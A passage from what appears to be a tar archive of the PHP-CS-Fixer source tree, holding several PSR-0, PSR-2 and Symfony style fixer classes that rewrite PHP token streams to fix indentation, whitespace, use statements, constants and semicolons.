 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶2.4.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class IndentationFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if ($token->isComment()) {
                $content = preg_replace('/^(?:(?<! ) {1,3})?\t/m', '\1    ', $token->getContent(), -1, $count);

                // Also check for more tabs.
                while ($count !== 0) {
                    $content = preg_replace('/^(\ +)?\t/m', '\1    ', $content, -1, $count);
                }

                $tokens[$index]->setContent($content);
                continue;
            }

            if ($token->isWhitespace()) {
                $tokens[$index]->setContent(preg_replace('/(?:(?<! ) {1,3})?\t/', '    ', $token->getContent()));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Code MUST use an indent of 4 spaces, and MUST NOT use tabs for indenting.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 50;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/MultipleUseFixer.php000066600000005753151456236460016636 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶3.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class MultipleUseFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $uses = array_reverse($tokens->getImportUseIndexes());

        foreach ($uses as $index) {
            $endIndex = $tokens->getNextTokenOfKind($index, array(';', array(T_CLOSE_TAG)));
            $previous = $tokens->getPrevMeaningfulToken($endIndex);
            if ($tokens[$previous]->equals('}')) {
                $start = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $previous, false);
                $declarationContent = $tokens->generatePartialCode($start + 1, $previous - 1);
                $prefix = '';
                for ($i = $index + 1; $i < $start; ++$i) {
                    $prefix .= $tokens[$i]->getContent();
                }

                $prefix = ' '.ltrim($prefix);
            } else {
                $declarationContent = $tokens->generatePartialCode($index + 1, $endIndex - 1);
                $prefix = ' ';
            }

            $declarationParts = explode(',', $declarationContent);
            if (1 === count($declarationParts)) {
                continue;
            }

            $declarationContent = array();

            foreach ($declarationParts as $declarationPart) {
                $declarationContent[] = 'use'.$prefix.trim($declarationPart).';';
            }

            $declarationContent = implode("\n".$this->detectIndent($tokens, $index), $declarationContent);

            for ($i = $index; $i < $endIndex; ++$i) {
                $tokens[$i]->clear();
            }

            if ($tokens[$endIndex]->equals(';')) {
                $tokens[$endIndex]->clear();
            }

            $declarationTokens = Tokens::fromCode('<?php '.$declarationContent);
            $declarationTokens[0]->clear();

            $tokens->insertAt($index, $declarationTokens);
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There MUST be one use keyword per declaration.';
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     *
     * @return string
     */
    private function detectIndent(Tokens $tokens, $index)
    {
        $prevIndex = $index - 1;
        $prevToken = $tokens[$prevIndex];

        // if can not detect indent:
        if (!$prevToken->isWhitespace()) {
            return '';
        }

        $explodedContent = explode("\n", $prevToken->getContent());

        return end($explodedContent);
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/TrailingSpacesFixer.php000066600000003512151456236460017265 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶2.3.
 *
 * Don't add trailing spaces at the end of non-blank lines.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TrailingSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->isWhitespace()) {
                continue;
            }

            $lines = preg_split("/([\r\n]+)/", $token->getContent(), -1, PREG_SPLIT_DELIM_CAPTURE);
            $linesSize = count($lines);

            // fix only multiline whitespaces or singleline whitespaces at the end of file
            if ($linesSize > 1 || !isset($tokens[$index + 1])) {
                $lines[0] = rtrim($lines[0], " \t");

                for ($i = 1; $i < $linesSize; ++$i) {
                    $trimmedLine = rtrim($lines[$i], " \t");
                    if ('' !== $trimmedLine) {
                        $lines[$i] = $trimmedLine;
                    }
                }

                $token->setContent(implode($lines));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Remove trailing whitespace at the end of non-blank lines.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 20;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/ElseifFixer.php000066600000003306151456236460015565 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶5.1.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ElseifFixer extends AbstractFixer
{
    /**
     * Replace all `else if` (T_ELSE T_IF) with `elseif` (T_ELSEIF).
     *
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_ELSE) as $index => $token) {
            $nextIndex = $tokens->getNextNonWhitespace($index);
            $nextToken = $tokens[$nextIndex];

            // if next meaning token is not T_IF - continue searching, this is not the case for fixing
            if (!$nextToken->isGivenKind(T_IF)) {
                continue;
            }

            // now we have T_ELSE following by T_IF so we could fix this
            // 1. clear whitespaces between T_ELSE and T_IF
            $tokens[$index + 1]->clear();

            // 2. change token from T_ELSE into T_ELSEIF
            $tokens->overrideAt($index, array(T_ELSEIF, 'elseif', $token->getLine()));

            // 3. clear succeeding T_IF
            $nextToken->clear();
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The keyword elseif should be used instead of else if so that all control keywords looks like single words.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/LinefeedFixer.php000066600000001637151456236460016076 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;

/**
 * Fixer for rules defined in PSR2 ¶2.2.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class LinefeedFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        // [Structure] Use the linefeed character (0x0A) to end lines
        return str_replace("\r\n", "\n", $content);
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'All PHP files must use the Unix LF (linefeed) line ending.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 50;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/FunctionCallSpaceFixer.php000066600000007663151456236460017725 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶4.6.
 *
 * @author Varga Bence <vbence@czentral.org>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FunctionCallSpaceFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $functionyTokens = $this->getFunctionyTokenKinds();
        $languageConstructionTokens = $this->getLanguageConstructionTokenKinds();

        foreach ($tokens as $index => $token) {
            // looking for start brace
            if (!$token->equals('(')) {
                continue;
            }

            // last non-whitespace token
            $lastTokenIndex = $tokens->getPrevNonWhitespace($index);

            if (null === $lastTokenIndex) {
                continue;
            }

            // check for ternary operator
            $endParenthesisIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);
            $nextNonWhiteSpace = $tokens->getNextMeaningfulToken($endParenthesisIndex);
            if (
                null !== $nextNonWhiteSpace
                && $tokens[$nextNonWhiteSpace]->equals('?')
                && $tokens[$lastTokenIndex]->isGivenKind($languageConstructionTokens)
            ) {
                continue;
            }

            // check if it is a function call
            if ($tokens[$lastTokenIndex]->isGivenKind($functionyTokens)) {
                $this->fixFunctionCall($tokens, $index);
            } elseif ($tokens[$lastTokenIndex]->isGivenKind(T_STRING)) { // for real function calls or definitions
                $possibleDefinitionIndex = $tokens->getPrevMeaningfulToken($lastTokenIndex);
                if (!$tokens[$possibleDefinitionIndex]->isGivenKind(T_FUNCTION)) {
                    $this->fixFunctionCall($tokens, $index);
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'When making a method or function call, there MUST NOT be a space between the method or function name and the opening parenthesis.';
    }

    /**
     * Fixes whitespaces around braces of a function(y) call.
     *
     * @param Tokens $tokens tokens to handle
     * @param int    $index  index of token
     */
    private function fixFunctionCall(Tokens $tokens, $index)
    {
        // remove space before opening brace
        if ($tokens[$index - 1]->isWhitespace()) {
            $tokens[$index - 1]->clear();
        }
    }

    /**
     * Gets the token kinds which can work as function calls.
     *
     * @return int[] Token names.
     */
    private function getFunctionyTokenKinds()
    {
        static $tokens = null;

        if (null === $tokens) {
            $tokens = array(
                T_ARRAY,
                T_ECHO,
                T_EMPTY,
                T_EVAL,
                T_EXIT,
                T_INCLUDE,
                T_INCLUDE_ONCE,
                T_ISSET,
                T_LIST,
                T_PRINT,
                T_REQUIRE,
                T_REQUIRE_ONCE,
                T_UNSET,
            );
        }

        return $tokens;
    }

    /**
     * Gets the token kinds of actually language construction.
     *
     * @return int[]
     */
    private function getLanguageConstructionTokenKinds()
    {
        static $languageConstructionTokens = array(
            T_ECHO,
            T_PRINT,
            T_INCLUDE,
            T_INCLUDE_ONCE,
            T_REQUIRE,
            T_REQUIRE_ONCE,
        );

        return $languageConstructionTokens;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/FunctionDeclarationFixer.php000066600000010232151456236460020305 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 generally (¶1 and ¶6).
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FunctionDeclarationFixer extends AbstractFixer
{
    private $singleLineWhitespaceOptions = array('whitespaces' => " \t");

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(T_FUNCTION)) {
                continue;
            }

            $startParenthesisIndex = $tokens->getNextTokenOfKind($index, array('(', ';', array(T_CLOSE_TAG)));
            if (!$tokens[$startParenthesisIndex]->equals('(')) {
                continue;
            }

            $endParenthesisIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startParenthesisIndex);
            $startBraceIndex = $tokens->getNextTokenOfKind($endParenthesisIndex, array(';', '{'));

            // fix single-line whitespace before {
            // eg: `function foo(){}` => `function foo() {}`
            // eg: `function foo()   {}` => `function foo() {}`
            if (
                $tokens[$tokens->getPrevNonWhitespace($startBraceIndex)]->equals(')') &&
                $tokens[$startBraceIndex]->equals('{') &&
                (
                    !$tokens[$startBraceIndex - 1]->isWhitespace() ||
                    $tokens[$startBraceIndex - 1]->isWhitespace($this->singleLineWhitespaceOptions)
                )
            ) {
                $tokens->ensureWhitespaceAtIndex($startBraceIndex - 1, 1, ' ');
            }

            $afterParenthesisIndex = $tokens->getNextNonWhitespace($endParenthesisIndex);
            $afterParenthesisToken = $tokens[$afterParenthesisIndex];

            if ($afterParenthesisToken->isGivenKind(T_USE)) {
                $useStartParenthesisIndex = $tokens->getNextTokenOfKind($afterParenthesisIndex, array('('));
                $useEndParenthesisIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $useStartParenthesisIndex);

                // fix whitespace after T_USE
                $tokens->ensureWhitespaceAtIndex($afterParenthesisIndex + 1, 0, ' ');

                // remove single-line edge whitespaces inside use parentheses
                $this->fixParenthesisInnerEdge($tokens, $useStartParenthesisIndex, $useEndParenthesisIndex);

                // fix whitespace before T_USE
                $tokens->ensureWhitespaceAtIndex($afterParenthesisIndex - 1, 1, ' ');
            }

            // remove single-line edge whitespaces inside parameters list parentheses
            $this->fixParenthesisInnerEdge($tokens, $startParenthesisIndex, $endParenthesisIndex);

            // remove whitespace before (
            // eg: `function foo () {}` => `function foo() {}`
            if ($tokens[$startParenthesisIndex - 1]->isWhitespace()) {
                $tokens[$startParenthesisIndex - 1]->clear();
            }

            // fix whitespace after T_FUNCTION
            // eg: `function     foo() {}` => `function foo() {}`
            $tokens->ensureWhitespaceAtIndex($index + 1, 0, ' ');
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Spaces should be properly placed in a function declaration.';
    }

    private function fixParenthesisInnerEdge(Tokens $tokens, $start, $end)
    {
        // remove single-line whitespace before )
        if ($tokens[$end - 1]->isWhitespace($this->singleLineWhitespaceOptions)) {
            $tokens[$end - 1]->clear();
        }

        // remove single-line whitespace after (
        if ($tokens[$start + 1]->isWhitespace($this->singleLineWhitespaceOptions)) {
            $tokens[$start + 1]->clear();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/SingleLineAfterImportsFixer.php000066600000010234151456236460020745 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * Fixer for rules defined in PSR2 ¶3.
 *
 * @author Ceeram <ceeram@cakephp.org>
 * @author Graham Campbell <graham@mineuk.com>
 */
class SingleLineAfterImportsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->getImportUseIndexes() as $index) {
            $indent = '';

            // if previous line ends with comment and current line starts with whitespace, use current indent
            if ($tokens[$index - 1]->isWhitespace(array('whitespaces' => " \t")) && $tokens[$index - 2]->isGivenKind(T_COMMENT)) {
                $indent = $tokens[$index - 1]->getContent();
            } elseif ($tokens[$index - 1]->isWhitespace()) {
                $indent = Utils::calculateTrailingWhitespaceIndent($tokens[$index - 1]);
            }

            $semicolonIndex = $tokens->getNextTokenOfKind($index, array(';', array(T_CLOSE_TAG))); // Handle insert index for inline T_COMMENT with whitespace after semicolon
            $insertIndex = $semicolonIndex;

            if ($tokens[$semicolonIndex]->isGivenKind(T_CLOSE_TAG)) {
                if ($tokens[$insertIndex - 1]->isWhitespace()) {
                    --$insertIndex;
                }

                $tokens->insertAt($insertIndex, new Token(';'));
            }

            if ($semicolonIndex === count($tokens) - 1) {
                $tokens->insertAt($insertIndex + 1, new Token(array(T_WHITESPACE, "\n\n".$indent)));
            } else {
                $newline = "\n";
                $tokens[$semicolonIndex]->isGivenKind(T_CLOSE_TAG) ? --$insertIndex : ++$insertIndex;
                if ($tokens[$insertIndex]->isWhitespace(array('whitespaces' => " \t")) && $tokens[$insertIndex + 1]->isComment()) {
                    ++$insertIndex;
                }

                // Do not add newline after inline T_COMMENT as it is part of T_COMMENT already (note: not needed on 2.x line )
                if ($tokens[$insertIndex]->isGivenKind(T_COMMENT) && false !== strpos($tokens[$insertIndex]->getContent(), "\n")) {
                    $newline = '';
                }

                // Increment insert index for inline T_COMMENT or T_DOC_COMMENT
                if ($tokens[$insertIndex]->isComment()) {
                    ++$insertIndex;
                }

                $afterSemicolon = $tokens->getNextMeaningfulToken($semicolonIndex);
                if (null === $afterSemicolon || !$tokens[$afterSemicolon]->isGivenKind(T_USE)) {
                    $newline .= "\n";
                }

                if ($tokens[$insertIndex]->isWhitespace()) {
                    $nextToken = $tokens[$insertIndex];
                    $nextMeaningfulAfterUseIndex = $tokens->getNextMeaningfulToken($insertIndex);
                    if (null !== $nextMeaningfulAfterUseIndex && $tokens[$nextMeaningfulAfterUseIndex]->isGivenKind(T_USE)) {
                        if (substr_count($nextToken->getContent(), "\n") < 2) {
                            $nextToken->setContent($newline.$indent.ltrim($nextToken->getContent()));
                        }
                    } else {
                        $nextToken->setContent($newline.$indent.ltrim($nextToken->getContent()));
                    }
                } else {
                    if ('' !== $newline.$indent) { // (note: check not needed on 2.x line)
                        $tokens->insertAt($insertIndex, new Token(array(T_WHITESPACE, $newline.$indent)));
                    }
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Each namespace use MUST go on its own line and there MUST be one blank line after the use statements block.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/ParenthesisFixer.php000066600000005114151456236460016642 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶4.3, ¶4.6, ¶5.
 *
 * @author Marc Aubé
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ParenthesisFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->equals('(')) {
                continue;
            }

            $prevIndex = $tokens->getPrevMeaningfulToken($index);

            // ignore parenthesis for T_ARRAY
            if (null !== $prevIndex && $tokens[$prevIndex]->isGivenKind(T_ARRAY)) {
                continue;
            }

            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);

            // remove space after opening `(`
            $this->removeSpaceAroundToken($tokens, $index, 1);

            // remove space after closing `)` if it is not `list($a, $b, )` case
            if (!$tokens[$tokens->getPrevMeaningfulToken($endIndex)]->equals(',')) {
                $this->removeSpaceAroundToken($tokens, $endIndex, -1);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There MUST NOT be a space after the opening parenthesis. There MUST NOT be a space before the closing parenthesis.';
    }

    /**
     * Remove spaces on one side of the token at a given index.
     *
     * @param Tokens $tokens A collection of code tokens
     * @param int    $index  The token index
     * @param int    $offset The offset where to start looking for spaces
     */
    private function removeSpaceAroundToken(Tokens $tokens, $index, $offset)
    {
        if (!isset($tokens[$index + $offset])) {
            return;
        }

        $token = $tokens[$index + $offset];

        if ($token->isWhitespace() && false === strpos($token->getContent(), "\n")) {
            if (isset($tokens[$index + $offset - 1])) {
                $prevToken = $tokens[$index + $offset - 1];
                if ($prevToken->isComment() && false !== strpos($prevToken->getContent(), "\n")) {
                    return;
                }
            }

            $token->clear();
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/LowercaseConstantsFixer.php000066600000004346151456236460020204 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶2.5.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LowercaseConstantsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->isNativeConstant()) {
                continue;
            }

            if (
                $this->isNeighbourAccepted($tokens, $tokens->getPrevMeaningfulToken($index)) &&
                $this->isNeighbourAccepted($tokens, $tokens->getNextMeaningfulToken($index))
            ) {
                $token->setContent(strtolower($token->getContent()));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The PHP constants true, false, and null MUST be in lower case.';
    }

    private function isNeighbourAccepted(Tokens $tokens, $index)
    {
        static $forbiddenTokens = null;

        if (null === $forbiddenTokens) {
            $forbiddenTokens = array(
                T_AS,
                T_CLASS,
                T_CONST,
                T_EXTENDS,
                T_IMPLEMENTS,
                T_INSTANCEOF,
                T_INTERFACE,
                T_NEW,
                T_NS_SEPARATOR,
                T_PAAMAYIM_NEKUDOTAYIM,
                T_USE,
            );

            if (defined('T_TRAIT')) {
                $forbiddenTokens[] = T_TRAIT;
            }

            if (defined('T_INSTEADOF')) {
                $forbiddenTokens[] = T_INSTEADOF;
            }
        }

        if (null === $index) {
            return true;
        }

        $token = $tokens[$index];

        if ($token->equalsAny(array('{', '}'))) {
            return false;
        }

        return !$token->isGivenKind($forbiddenTokens);
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR0/Psr0Fixer.php000066600000013040151456236460015174 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR0;

use Symfony\CS\AbstractFixer;
use Symfony\CS\ConfigAwareInterface;
use Symfony\CS\ConfigInterface;
use Symfony\CS\StdinFileInfo;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Bram Gotink <bram@gotink.me>
 */
class Psr0Fixer extends AbstractFixer implements ConfigAwareInterface
{
    protected $config;

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $namespace = false;
        $namespaceIndex = 0;
        $namespaceEndIndex = 0;

        $classyName = null;
        $classyIndex = 0;

        foreach ($tokens as $index => $token) {
            if ($token->isGivenKind(T_NAMESPACE)) {
                if (false !== $namespace) {
                    return $content;
                }

                $namespaceIndex = $tokens->getNextMeaningfulToken($index);
                $namespaceEndIndex = $tokens->getNextTokenOfKind($index, array(';'));

                $namespace = trim($tokens->generatePartialCode($namespaceIndex, $namespaceEndIndex - 1));
            } elseif ($token->isClassy()) {
                if (null !== $classyName) {
                    return $content;
                }

                $classyIndex = $tokens->getNextMeaningfulToken($index);
                $classyName = $tokens[$classyIndex]->getContent();
            }
        }

        if (null === $classyName) {
            return $content;
        }

        if (false !== $namespace) {
            $normNamespace = strtr($namespace, '\\', '/');
            $path = strtr($file->getRealPath(), '\\', '/');
            $dir = dirname($path);

            if ($this->config) {
                $dir = substr($dir, strlen(realpath($this->config->getDir())) + 1);
                if (strlen($normNamespace) > strlen($dir)) {
                    if ('' !== $dir) {
                        $normNamespace = substr($normNamespace, -strlen($dir));
                    } else {
                        $normNamespace = '';
                    }
                }
            }

            $dir = substr($dir, -strlen($normNamespace));
            if (false === $dir) {
                $dir = '';
            }

            $filename = basename($path, '.php');

            if ($classyName !== $filename) {
                $tokens[$classyIndex]->setContent($filename);
            }

            if ($normNamespace !== $dir && strtolower($normNamespace) === strtolower($dir)) {
                for ($i = $namespaceIndex; $i <= $namespaceEndIndex; ++$i) {
                    $tokens[$i]->clear();
                }
                $namespace = substr($namespace, 0, -strlen($dir)).strtr($dir, '/', '\\');

                $newNamespace = Tokens::fromCode('<?php namespace '.$namespace.';');
                $newNamespace[0]->clear();
                $newNamespace[1]->clear();
                $newNamespace[2]->clear();

                $tokens->insertAt($namespaceIndex, $newNamespace);
            }
        } else {
            $normClass = strtr($classyName, '_', '/');
            $path = strtr($file->getRealPath(), '\\', '/');
            $filename = substr($path, -strlen($normClass) - 4, -4);

            if ($normClass !== $filename && strtolower($normClass) === strtolower($filename)) {
                $tokens[$classyIndex]->setContent(strtr($filename, '/', '_'));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function setConfig(ConfigInterface $config)
    {
        $this->config = $config;
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return -10;
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Classes must be in a path that matches their namespace, be at least one namespace deep, and the class name should match the file name.';
    }

    /**
     * {@inheritdoc}
     */
    public function supports(\SplFileInfo $file)
    {
        if ($file instanceof StdinFileInfo) {
            return false;
        }

        $filenameParts = explode('.', $file->getBasename(), 2);

        if (
            // ignore file with extension other than php
            (!isset($filenameParts[1]) || 'php' !== $filenameParts[1])
            // ignore file with name that cannot be a class name
            || 0 === preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/', $filenameParts[0])
            // ignore filename that will halt compiler (and cannot be properly tokenized under PHP 5.3)
            || '__halt_compiler' === $filenameParts[0]
        ) {
            return false;
        }

        try {
            $tokens = Tokens::fromCode(sprintf('<?php class %s {}', $filenameParts[0]));

            if ($tokens[3]->isKeyword() || $tokens[3]->isMagicConstant()) {
                // name can not be a class name - detected by PHP 5.x
                return false;
            }
        } catch (\ParseError $e) {
            // name can not be a class name - detected by PHP 7.x
            return false;
        }

        // ignore stubs/fixtures, since they are typically containing invalid files for various reasons
        return !preg_match('{[/\\\\](stub|fixture)s?[/\\\\]}i', $file->getRealPath());
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/DuplicateSemicolonFixer.php000066600000003403151456236460021055 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DuplicateSemicolonFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $limit = $tokens->count();

        for ($index = 0; $index < $limit; ++$index) {
            $token = $tokens[$index];

            // skip T_FOR parenthesis to ignore duplicated `;` like `for ($i = 1; ; ++$i) {...}`
            if ($token->isGivenKind(T_FOR)) {
                $index = $tokens->getNextMeaningfulToken($index);
                $index = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $index);
                continue;
            }

            if (!$token->equals(';')) {
                continue;
            }

            $prevIndex = $tokens->getPrevNonWhitespace($index);

            if (!$tokens[$prevIndex]->equals(';')) {
                continue;
            }

            $tokens->removeLeadingWhitespace($index);
            $token->clear();
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Remove duplicated semicolons.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run before the BracesFixer, SpacesBeforeSemicolonFixer and MultilineSpacesBeforeSemicolonFixer
        return 10;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/UnalignDoubleArrowFixer.php000066600000002542151456236460021040 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class UnalignDoubleArrowFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Unalign double arrow symbols.';
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $index => $token) {
            if (!$token->isGivenKind(T_DOUBLE_ARROW)) {
                continue;
            }

            $this->fixWhitespace($tokens[$index - 1]);
